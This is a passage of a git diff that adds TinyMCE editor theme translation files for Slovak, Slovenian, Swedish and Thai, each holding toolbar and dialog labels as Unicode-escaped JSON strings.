HTML \u043a\u043e\u0434\u0430","anchor_name":"\u0418\u043c\u044f \u044f\u043a\u043e\u0440\u044f","anchor_title":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u044f\u043a\u043e\u0440\u044f","about_loaded":"\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u043b\u0430\u0433\u0438\u043d\u044b","about_version":"\u0412\u0435\u0440\u0441\u0438\u044f","about_author":"\u0410\u0432\u0442\u043e\u0440","about_plugin":"\u041f\u043b\u0430\u0433\u0438\u043d","about_plugins":"\u041f\u043b\u0430\u0433\u0438\u043d\u044b","about_license":"\u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f","about_help":"\u041f\u043e\u043c\u043e\u0449\u044c","about_general":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435","about_title":"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 TinyMCE","charmap_usage":"\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043a\u043b\u0430\u0432\u0438\u0448\u0438 \"\u0412\u043b\u0435\u0432\u043e\" \u0438 \"\u0412\u043f\u0440\u0430\u0432\u043e\" \u0434\u043b\u044f \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u0438.","anchor_invalid":"\u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0435 \u0438\u043c\u044f \u044f\u043a\u043e\u0440\u044f.","accessibility_help":"\u0414\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043c\u043e\u0449\u0438","accessibility_usage_title":"\u041e\u0431\u0449\u0435\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/sk.js b/js/tiny_mce2/themes/advanced/langs/sk.js new file mode 100755 index 0000000..c0a481a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/sk.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advanced',{"underline_desc":"Pod\u010diarknut\u00e9 (Ctrl+U)","italic_desc":"Kurz\u00edva (Ctrl+I)","bold_desc":"Tu\u010dn\u00e9 (Ctrl+B)",dd:"Popis defin\u00edcie",dt:"Term\u00edn defin\u00edcie",samp:"Uk\u00e1\u017eka k\u00f3du",code:"K\u00f3d",blockquote:"Blokov\u00e1 cit\u00e1cia",h6:"Nadpis 6",h5:"Nadpis 5",h4:"Nadpis 4",h3:"Nadpis 3",h2:"Nadpis 2",h1:"Nadpis 1",pre:"Predform\u00e1tovan\u00e9",address:"Adresa",div:"Oddiel",paragraph:"Odstavec",block:"Form\u00e1t",fontdefault:"P\u00edsmo","font_size":"Ve\u013ekos\u0165 p\u00edsma","style_select":"\u0160t\u00fdly","more_colors":"\u010eal\u0161ie farby","toolbar_focus":"Prechod na panel n\u00e1strojov - Alt-Q, prechod do editora - Alt-Z, prechod na cestu k objektom - Alt-X",newdocument:"Ste si naozaj ist\u00ed, \u017ee chcete odstr\u00e1ni\u0165 v\u0161etok obsah?",path:"Cesta","clipboard_msg":"Funkcie kop\u00edrova\u0165/vystrihn\u00fa\u0165/vlo\u017ei\u0165 nie s\u00fa prehliada\u010dom Mozilla Firefox podporovan\u00e9. Chcete viac inform\u00e1ci\u00ed o tomto probl\u00e9me?","blockquote_desc":"Blokov\u00e1 cit\u00e1cia","help_desc":"Pomocn\u00edk","newdocument_desc":"Nov\u00fd dokument","image_props_desc":"Vlastnosti obr\u00e1zka","paste_desc":"Vlo\u017ei\u0165","copy_desc":"Kop\u00edrova\u0165","cut_desc":"Vystrihn\u00fa\u0165","anchor_desc":"Vlo\u017ei\u0165/upravi\u0165 z\u00e1lo\u017eku (kotvu)","visualaid_desc":"Zobrazi\u0165 pomocn\u00e9 linky/skryt\u00e9 prvky","charmap_desc":"Vlo\u017ei\u0165 \u0161peci\u00e1lny znak","backcolor_desc":"Farba zv\u00fdraznenia textu","forecolor_desc":"Farba p\u00edsma","custom1_desc":"\u013dubovoln\u00fd popisok","removeformat_desc":"Odstr\u00e1ni\u0165 form\u00e1tovanie","hr_desc":"Vlo\u017ei\u0165 vodorovn\u00fd odde\u013eova\u010d","sup_desc":"Horn\u00fd index","sub_desc":"Doln\u00fd index","code_desc":"Upravi\u0165 HTML zdroj","cleanup_desc":"Vy\u010disti\u0165 k\u00f3d","image_desc":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","unlink_desc":"Odobra\u0165 odkaz","link_desc":"Vlo\u017ei\u0165/upravi\u0165 odkaz","redo_desc":"Znovu (Ctrl+Y)","undo_desc":"Sp\u00e4\u0165 (Ctrl+Z)","indent_desc":"Zv\u00e4\u010d\u0161i\u0165 odsadenie","outdent_desc":"Zmen\u0161i\u0165 odsadenie","numlist_desc":"\u010c\u00edslovan\u00fd zoznam","bullist_desc":"Zoznam s odr\u00e1\u017ekami","justifyfull_desc":"Zarovna\u0165 do bloku","justifyright_desc":"Zarovna\u0165 doprava","justifycenter_desc":"Zarovna\u0165 na stred","justifyleft_desc":"Zarovna\u0165 do\u013eava","striketrough_desc":"Pre\u010diarknut\u00e9","help_shortcut":"Stla\u010dte ALT-F10 pre panel n\u00e1strojov. Stla\u010dte ALT-0 pre pomocn\u00edka.","rich_text_area":"Oblas\u0165 s form\u00e1tovan\u00fdm textom","shortcuts_desc":"Pomocn\u00edk",toolbar:"Panel n\u00e1strojov","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/sk_dlg.js b/js/tiny_mce2/themes/advanced/langs/sk_dlg.js new file mode 100755 index 0000000..3af287a --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.advanced_dlg',{"link_list":"Zoznam odkazov","link_is_external":"Zadan\u00e9 URL vyzer\u00e1 ako extern\u00fd odkaz, chcete doplni\u0165 povinn\u00fd prefix http://?","link_is_email":"Zadan\u00e9 URL vyzer\u00e1 ako e-mailov\u00e1 adresa, chcete doplni\u0165 povinn\u00fd prefix mailto:?","link_titlefield":"Titulok","link_target_blank":"Otvori\u0165 odkaz v novom okne","link_target_same":"Otvori\u0165 odkaz v rovnakom okne","link_target":"Cie\u013e","link_url":"URL odkazu","link_title":"Vlo\u017ei\u0165/upravi\u0165 odkaz","image_align_right":"Vpravo","image_align_left":"V\u013eavo","image_align_textbottom":"So spodkom riadku","image_align_texttop":"S vrcholom riadku","image_align_bottom":"Dole","image_align_middle":"Na stred riadku","image_align_top":"Hore","image_align_baseline":"Na z\u00e1klad\u0148u","image_align":"Zarovnanie","image_hspace":"Horizont\u00e1lne odsadenie","image_vspace":"Vertik\u00e1lne odsadenie","image_dimensions":"Rozmery","image_alt":"Popis obr\u00e1zka","image_list":"Zoznam obr\u00e1zkov","image_border":"Or\u00e1movanie","image_src":"URL obr\u00e1zka","image_title":"Vlo\u017ei\u0165/upravi\u0165 obr\u00e1zok","charmap_title":"Vlo\u017ei\u0165 \u0161peci\u00e1lny znak","colorpicker_name":"N\u00e1zov:","colorpicker_color":"Vybrat\u00e1 farba:","colorpicker_named_title":"Pomenovan\u00e9 farby","colorpicker_named_tab":"N\u00e1zvy","colorpicker_palette_title":"Paleta farieb","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Kvapkadlo","colorpicker_picker_tab":"Kvapkadlo","colorpicker_title":"V\u00fdber farby","code_wordwrap":"Zalamovanie riadkov","code_title":"Editor HTML","anchor_name":"N\u00e1zov z\u00e1lo\u017eky","anchor_title":"Vlo\u017ei\u0165/upravi\u0165 z\u00e1lo\u017eku (kotvu)","about_loaded":"Na\u010d\u00edtan\u00e9 z\u00e1suvn\u00e9 moduly","about_version":"Verzia","about_author":"Autor","about_plugin":"Z\u00e1suvn\u00fd modul","about_plugins":"Z\u00e1suvn\u00e9 moduly","about_license":"Licencia","about_help":"Pomocn\u00edk","about_general":"O programe","about_title":"O TinyMCE","charmap_usage":"Pre navig\u00e1ciu pou\u017eite \u0161\u00edpky v\u013eavo a vpravo.","anchor_invalid":"Zadajte, pros\u00edm, platn\u00fd n\u00e1zov z\u00e1lo\u017eky (kotvy).","accessibility_help":"Dostupnos\u0165 n\u00e1povedy","accessibility_usage_title":"V\u0161eobecn\u00e9 pou\u017eitie","invalid_color_value":"Neplatn\u00fd k\u00f3d farby"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/sl.js b/js/tiny_mce2/themes/advanced/langs/sl.js new file mode 100755 index 0000000..0f9901e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/sl.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advanced',{"underline_desc":"Pod\u010drtano (Ctrl+U)","italic_desc":"Po\u0161evno (Ctrl+I)","bold_desc":"Krepko (Ctrl+B)",dd:"definicija - opis",dt:"definicija - izraz",samp:"kodni zgled",code:"koda",blockquote:"citat",h6:"naslov 6",h5:"naslov 5",h4:"naslov 4",h3:"naslov 3",h2:"naslov 2",h1:"naslov 1",pre:"predoblikovano",address:"naslov",div:"blok",paragraph:"odstavek",block:"oblika",fontdefault:"Dru\u017eina pisave","font_size":"Velikost pisave","style_select":"Izberite slog","more_colors":"Ve\u010d barv","toolbar_focus":"Preskok na orodjarno - Alt+Q, Preskok v urejevalnik - Alt-Z, Preskok na pot elementa - Alt-X",newdocument:"Ste prepri\u010dani, da \u017eelite odstraniti vsebino?",path:"Pot","clipboard_msg":"Delo z odlo\u017ei\u0161\u010dem ni mogo\u010de v tem brskalniku. Lahko uporabljate kombinacije tipk Ctrl+X, Ctrl+C, Ctrl+V.\n\u017delite ve\u010d informacij o tem?","blockquote_desc":"Citat","help_desc":"Pomo\u010d","newdocument_desc":"Nov dokument","image_props_desc":"Lastnosti slike","paste_desc":"Prilepi","copy_desc":"Kopiraj","cut_desc":"Izre\u017ei","anchor_desc":"Vstavi/uredi sidro","visualaid_desc":"Preklop prikaza vodil","charmap_desc":"Vstavi posebni znak","backcolor_desc":"Izberite barvo ozadja","forecolor_desc":"Izberite barvo pisave","custom1_desc":"Opis tule","removeformat_desc":"Odstrani oblikovanje","hr_desc":"Vstavi \u010drto","sup_desc":"Nadpisano","sub_desc":"Podpisano","code_desc":"Uredi kodo HTML","cleanup_desc":"Pre\u010disti kodo","image_desc":"Vstavi/uredi sliko","unlink_desc":"Odstrani povezavo","link_desc":"Vstavi/uredi povezavo","redo_desc":"Uveljavi (Ctrl+Y)","undo_desc":"Razveljavi (Ctrl+Z)","indent_desc":"Odmakni ven","outdent_desc":"Zamakni","numlist_desc":"Na\u0161tevanje","bullist_desc":"Alineje","justifyfull_desc":"Polna poravnava","justifyright_desc":"Poravnava desno","justifycenter_desc":"Poravnava na sredino","justifyleft_desc":"Poravnava levo","striketrough_desc":"Pre\u010drtano","help_shortcut":"Pritisnite ALT-F10 za orodno vrstico, ALT-0 za pomo\u010d","rich_text_area":"Polje z obogatenim besedilom","shortcuts_desc":"Pomo\u010d za dostopnost",toolbar:"Orodna vrstica","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/sl_dlg.js b/js/tiny_mce2/themes/advanced/langs/sl_dlg.js new file mode 100755 index 0000000..dccb621 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.advanced_dlg',{"link_list":"Seznam povezav","link_is_external":"Vneseni naslov verjetno predstavlja zunanjo povezavo, \u017eelite da dodam zahtevano predpono \\\'http://\\\'?","link_is_email":"Vneseni naslov verjetno prestavlja e-naslov, \u017eelite da dodam zahtevano predpono \\\'mailto:\\\'?","link_titlefield":"Naslov","link_target_blank":"odpri povezavo v novem oknu","link_target_same":"odpri povezavo v istem oknu","link_target":"Ime cilja","link_url":"Naslov URL","link_title":"Vstavi/uredi povezavo","image_align_right":"desno, plavajo\u010de","image_align_left":"levo, plavajo\u010de","image_align_textbottom":"dno besedila","image_align_texttop":"vrh besedila","image_align_bottom":"spodaj","image_align_middle":"sredina","image_align_top":"zgoraj","image_align_baseline":"osnovna linija","image_align":"Poravnava","image_hspace":"Prostor le/de","image_vspace":"Prostor zg/sp","image_dimensions":"Dimenzije","image_alt":"Opis slike","image_list":"Seznam slik","image_border":"Obroba","image_src":"Naslov URL slike","image_title":"Vstavi/uredi sliko","charmap_title":"Izberite posebni znak","colorpicker_name":"Ime:","colorpicker_color":"Barva:","colorpicker_named_title":"Poimenovane barve","colorpicker_named_tab":"Poimenovane","colorpicker_palette_title":"Barve palete","colorpicker_palette_tab":"Paleta","colorpicker_picker_title":"Izbor barve","colorpicker_picker_tab":"Izbor","colorpicker_title":"Izberite barvo","code_wordwrap":"Prelomi vrstice","code_title":"Urejevalnik kode HTML","anchor_name":"Ime sidra","anchor_title":"Vstavi/uredi sidro","about_loaded":"Nalo\u017eeni vsadki","about_version":"Verzija","about_author":"Avtor","about_plugin":"Vsadek","about_plugins":"Vsadki","about_license":"Licenca","about_help":"Pomo\u010d","about_general":"Vizitka","about_title":"O TinyMCE","charmap_usage":"Za navigacijo uporabite tipki levo in desno.","anchor_invalid":"Prosimo vnesite veljavno ime sidra.","accessibility_help":"Pomo\u010d za dostopnost","accessibility_usage_title":"Splo\u0161na raba"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/sv.js b/js/tiny_mce2/themes/advanced/langs/sv.js new file mode 100755 index 0000000..9a20833 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/sv.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advanced',{"underline_desc":"Understruken (Ctrl+U)","italic_desc":"Kursiv (Ctrl+I)","bold_desc":"Fet (Ctrl+B)",dd:"Definitionsbeskrivning",dt:"Definitionsterm",samp:"Kodexempel",code:"Kodblock",blockquote:"Blockcitat",h6:"Rubrik 6",h5:"Rubrik 5",h4:"Rubrik 4",h3:"Rubrik 3",h2:"Rubrik 2",h1:"Rubrik 1",pre:"F\u00f6rformaterad",address:"Adress",div:"Div",paragraph:"Stycke",block:"Format",fontdefault:"Teckensnitt","font_size":"Teckenstorlek","style_select":"Stilar","more_colors":"Mer f\u00e4rger","toolbar_focus":"Hoppa till verktygsf\u00e4ltet - Alt+Q, Hoppa till redigeraren - Alt-Z, Hoppa till elementlistan - Alt-X",newdocument:"\u00c4r du s\u00e4ker p\u00e5 att du vill radera allt inneh\u00e5ll?",path:"Element","clipboard_msg":"Kopiera/klipp ut/klistra in \u00e4r inte tillg\u00e4ngligt i din webbl\u00e4sare.\nVill du veta mer om detta?","blockquote_desc":"Blockcitat","help_desc":"Hj\u00e4lp","newdocument_desc":"Nytt dokument","image_props_desc":"Bildinst\u00e4llningar","paste_desc":"Klistra in","copy_desc":"Kopiera","cut_desc":"Klipp ut","anchor_desc":"Infoga/redigera bokm\u00e4rke","visualaid_desc":"Visa/d\u00f6lj visuella hj\u00e4lpmedel","charmap_desc":"Infoga specialtecken","backcolor_desc":"V\u00e4lj bakgrundsf\u00e4rg","forecolor_desc":"V\u00e4lj textf\u00e4rg","custom1_desc":"Din beskrivning h\u00e4r","removeformat_desc":"Ta bort formatering","hr_desc":"Infoga horisontell skiljelinje","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Redigera HTML k\u00e4llkoden","cleanup_desc":"St\u00e4da upp i k\u00e4llkoden","image_desc":"Infoga/redigera bild","unlink_desc":"Ta bort l\u00e4nk","link_desc":"Infoga/redigera l\u00e4nk","redo_desc":"G\u00f6r om (Ctrl+Y)","undo_desc":"\u00c5ngra (Ctrl+Z)","indent_desc":"Indrag","outdent_desc":"Drag tillbaka","numlist_desc":"Nummerlista","bullist_desc":"Punktlista","justifyfull_desc":"Justera","justifyright_desc":"H\u00f6gerst\u00e4lld","justifycenter_desc":"Centrera","justifyleft_desc":"V\u00e4nsterst\u00e4lld","striketrough_desc":"Genomstruken","help_shortcut":"Alt-F10 f\u00f6r verktygsf\u00e4lt. Alt-0 f\u00f6r hj\u00e4lp.","rich_text_area":"Redigeringsarea","shortcuts_desc":"Hj\u00e4lp f\u00f6r funktionshindrade",toolbar:"Verktygsf\u00e4lt","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/sv_dlg.js b/js/tiny_mce2/themes/advanced/langs/sv_dlg.js new file mode 100755 index 0000000..45d9220 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.advanced_dlg',{"link_list":"L\u00e4nklista","link_is_external":"L\u00e4nken du angav verkar vara en extern adress. Vill du infoga http:// prefixet p\u00e5 l\u00e4nken?","link_is_email":"L\u00e4nken du angav verkar vara en e-post adress. Vill du infoga mailto: prefixet p\u00e5 l\u00e4nken?","link_titlefield":"Titel","link_target_blank":"\u00d6\u0096ppna l\u00e4nken i ett nytt f\u00f6nster","link_target_same":"\u00d6\u0096ppna l\u00e4nken i samma f\u00f6nster","link_target":"M\u00e5l","link_url":"L\u00e4nkens URL","link_title":"Infoga/redigera l\u00e4nk","image_align_right":"H\u00f6ger","image_align_left":"V\u00e4nster","image_align_textbottom":"Botten av texten","image_align_texttop":"Toppen av texten","image_align_bottom":"Botten","image_align_middle":"Mitten","image_align_top":"Toppen","image_align_baseline":"Baslinje","image_align":"Justering","image_hspace":"Horisontalrymd","image_vspace":"Vertikalrymd","image_dimensions":"Dimensioner","image_alt":"Bildens beskrivning","image_list":"Bildlista","image_border":"Ram","image_src":"Bildens URL","image_title":"Infoga/redigera bild","charmap_title":"V\u00e4lj ett specialtecken","colorpicker_name":"Namn:","colorpicker_color":"F\u00e4rg:","colorpicker_named_title":"Namngivna f\u00e4rger","colorpicker_named_tab":"Namngivna","colorpicker_palette_title":"Palettf\u00e4rger","colorpicker_palette_tab":"Palett","colorpicker_picker_title":"F\u00e4rgv\u00e4ljare","colorpicker_picker_tab":"V\u00e4ljare","colorpicker_title":"V\u00e4lj en f\u00e4rg","code_wordwrap":"Bryt ord","code_title":"HTML k\u00e4llkodsl\u00e4ge","anchor_name":"Namn","anchor_title":"Infoga/redigera bokm\u00e4rke","about_loaded":"Laddade plug-ins","about_version":"Version","about_author":"Utvecklare","about_plugin":"Om plug-in","about_plugins":"Om plug-in","about_license":"Licens","about_help":"Hj\u00e4lp","about_general":"Om","about_title":"Om TinyMCE","charmap_usage":"Anv\u00e4nd v\u00e4nster och h\u00f6ger pil f\u00f6r att navigera","anchor_invalid":"Skiv ett korrekt ankarnamn.","accessibility_help":"Tillg\u00e4nglighets hj\u00e4lp","accessibility_usage_title":"Generellanv\u00e4ndning"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/th.js b/js/tiny_mce2/themes/advanced/langs/th.js new file mode 100755 index 0000000..144f0a2 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/th.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advanced',{"underline_desc":"\u0e15\u0e31\u0e27\u0e02\u0e35\u0e14\u0e40\u0e2a\u0e49\u0e19\u0e43\u0e15\u0e49(Ctrl+U)","italic_desc":"\u0e15\u0e31\u0e27\u0e40\u0e2d\u0e35\u0e22\u0e07 (Ctrl+I)","bold_desc":"\u0e15\u0e31\u0e27\u0e2b\u0e19\u0e32 (Ctrl+B)",dd:"\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e04\u0e33\u0e19\u0e34\u0e22\u0e32\u0e21",dt:"\u0e04\u0e33\u0e19\u0e34\u0e22\u0e32\u0e21",samp:"\u0e42\u0e04\u0e49\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07",code:"\u0e42\u0e04\u0e49\u0e14",blockquote:"\u0e2d\u0e49\u0e32\u0e07\u0e2d\u0e34\u0e07",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a\u0e1e\u0e37\u0e49\u0e19\u0e10\u0e32\u0e19",address:"\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48",div:"Div",paragraph:"\u0e22\u0e48\u0e2d\u0e2b\u0e19\u0e49\u0e32",block:"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a",fontdefault:"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","font_size":"\u0e02\u0e19\u0e32\u0e14\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","style_select":"\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","more_colors":"\u0e2a\u0e35\u0e2d\u0e37\u0e48\u0e19\u0e46","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"\u0e04\u0e38\u0e13\u0e41\u0e19\u0e48\u0e43\u0e08\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48\u0e27\u0e48\u0e32\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e25\u0e49\u0e32\u0e07\u0e40\u0e19\u0e37\u0e49\u0e2d\u0e2b\u0e32\u0e17\u0e31\u0e49\u0e07\u0e2b\u0e21\u0e14?",path:"\u0e1e\u0e32\u0e17","clipboard_msg":"\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01 / \u0e15\u0e31\u0e14 / \u0e27\u0e32\u0e07\u0e22\u0e31\u0e07\u0e44\u0e21\u0e48\u0e21\u0e35\u0e43\u0e2b\u0e49\u0e1a\u0e23\u0e34\u0e01\u0e32\u0e23\u0e43\u0e19 Mozilla \u0e41\u0e25\u0e30 Firefox.\nDo \u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e02\u0e49\u0e2d\u0e21\u0e39\u0e25\u0e40\u0e1e\u0e34\u0e48\u0e21\u0e40\u0e15\u0e34\u0e21\u0e40\u0e01\u0e35\u0e48\u0e22\u0e27\u0e01\u0e31\u0e1a\u0e1b\u0e31\u0e0d\u0e2b\u0e32\u0e19\u0e35\u0e49\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48?","blockquote_desc":"\u0e2d\u0e49\u0e32\u0e07\u0e16\u0e36\u0e07","help_desc":"\u0e0a\u0e48\u0e27\u0e22\u0e40\u0e2b\u0e25\u0e37\u0e2d","newdocument_desc":"\u0e40\u0e2d\u0e01\u0e2a\u0e32\u0e23\u0e43\u0e2b\u0e21\u0e48","image_props_desc":"\u0e04\u0e38\u0e13\u0e2a\u0e21\u0e1a\u0e31\u0e15\u0e34\u0e23\u0e39\u0e1b","paste_desc":"\u0e27\u0e32\u0e07","copy_desc":"\u0e04\u0e31\u0e14\u0e25\u0e2d\u0e01","cut_desc":"\u0e15\u0e31\u0e14","anchor_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","visualaid_desc":"\u0e2a\u0e25\u0e31\u0e1a guidelines/\u0e0b\u0e48\u0e2d\u0e19 elements","charmap_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e15\u0e31\u0e27\u0e2d\u0e31\u0e01\u0e29\u0e23","backcolor_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07","forecolor_desc":"\u0e40\u0e25\u0e37\u0e2d\u0e01\u0e2a\u0e35\u0e02\u0e49\u0e2d\u0e04\u0e27\u0e32\u0e21","custom1_desc":"\u0e43\u0e2a\u0e48\u0e23\u0e32\u0e22\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14\u0e40\u0e2d\u0e07\u0e44\u0e14\u0e49\u0e17\u0e35\u0e48\u0e19\u0e35\u0e48","removeformat_desc":"\u0e25\u0e49\u0e32\u0e07\u0e23\u0e39\u0e1b\u0e41\u0e1a\u0e1a","hr_desc":"\u0e43\u0e2a\u0e48\u0e40\u0e2a\u0e49\u0e19\u0e1a\u0e23\u0e23\u0e17\u0e31\u0e14","sup_desc":"\u0e15\u0e31\u0e27\u0e22\u0e01","sub_desc":"\u0e15\u0e31\u0e27\u0e2b\u0e49\u0e2d\u0e22","code_desc":"\u0e41\u0e01\u0e49\u0e44\u0e02 HTML","cleanup_desc":"\u0e25\u0e49\u0e32\u0e07\u0e42\u0e04\u0e49\u0e14","image_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e23\u0e39\u0e1b","unlink_desc":"\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","link_desc":"\u0e40\u0e1e\u0e34\u0e48\u0e21/\u0e41\u0e01\u0e49\u0e44\u0e02 \u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","redo_desc":"\u0e22\u0e49\u0e2d\u0e19\u0e01\u0e25\u0e31\u0e1a (Ctrl+Y)","undo_desc":"\u0e22\u0e01\u0e40\u0e25\u0e34\u0e01 (Ctrl+Z)","indent_desc":"\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07\u0e02\u0e27\u0e32","outdent_desc":"\u0e25\u0e14\u0e01\u0e32\u0e23\u0e40\u0e22\u0e37\u0e49\u0e2d\u0e07","numlist_desc":"\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e15\u0e31\u0e27\u0e40\u0e25\u0e02","bullist_desc":"\u0e25\u0e33\u0e14\u0e31\u0e1a\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23","justifyfull_desc":"\u0e08\u0e31\u0e14\u0e40\u0e15\u0e47\u0e21\u0e2b\u0e19\u0e49\u0e32","justifyright_desc":"\u0e08\u0e31\u0e14\u0e02\u0e27\u0e32","justifycenter_desc":"\u0e08\u0e31\u0e14\u0e01\u0e25\u0e32\u0e07","justifyleft_desc":"\u0e08\u0e31\u0e14\u0e0b\u0e49\u0e32\u0e22","striketrough_desc":"\u0e02\u0e35\u0e14\u0e06\u0e48\u0e32","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/langs/th_dlg.js b/js/tiny_mce2/themes/advanced/langs/th_dlg.js new file mode 100755 index 0000000..8154094 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.advanced_dlg',{"link_list":"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23\u0e25\u0e34\u0e49\u0e07\u0e04\u0e4c","link_is_external":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e20\u0e32\u0e22\u0e19\u0e2d\u0e01\u0e25\u0e34\u0e07\u0e04\u0e04\u0e38\u0e13\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 http:// \u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 ?","link_is_email":"URL \u0e17\u0e35\u0e48\u0e04\u0e38\u0e13\u0e1b\u0e49\u0e2d\u0e19\u0e14\u0e39\u0e40\u0e2b\u0e21\u0e37\u0e2d\u0e19\u0e27\u0e48\u0e32\u0e08\u0e30\u0e21\u0e35\u0e17\u0e35\u0e48\u0e2d\u0e22\u0e39\u0e48\u0e2d\u0e35\u0e40\u0e21\u0e25\u0e2d\u0e22\u0e39\u0e48\u0e15\u0e49\u0e2d\u0e07\u0e01\u0e32\u0e23\u0e40\u0e1e\u0e34\u0e48\u0e21 mailto: \u0e19\u0e33\u0e2b\u0e19\u0e49\u0e32\u0e2b\u0e23\u0e37\u0e2d\u0e44\u0e21\u0e48 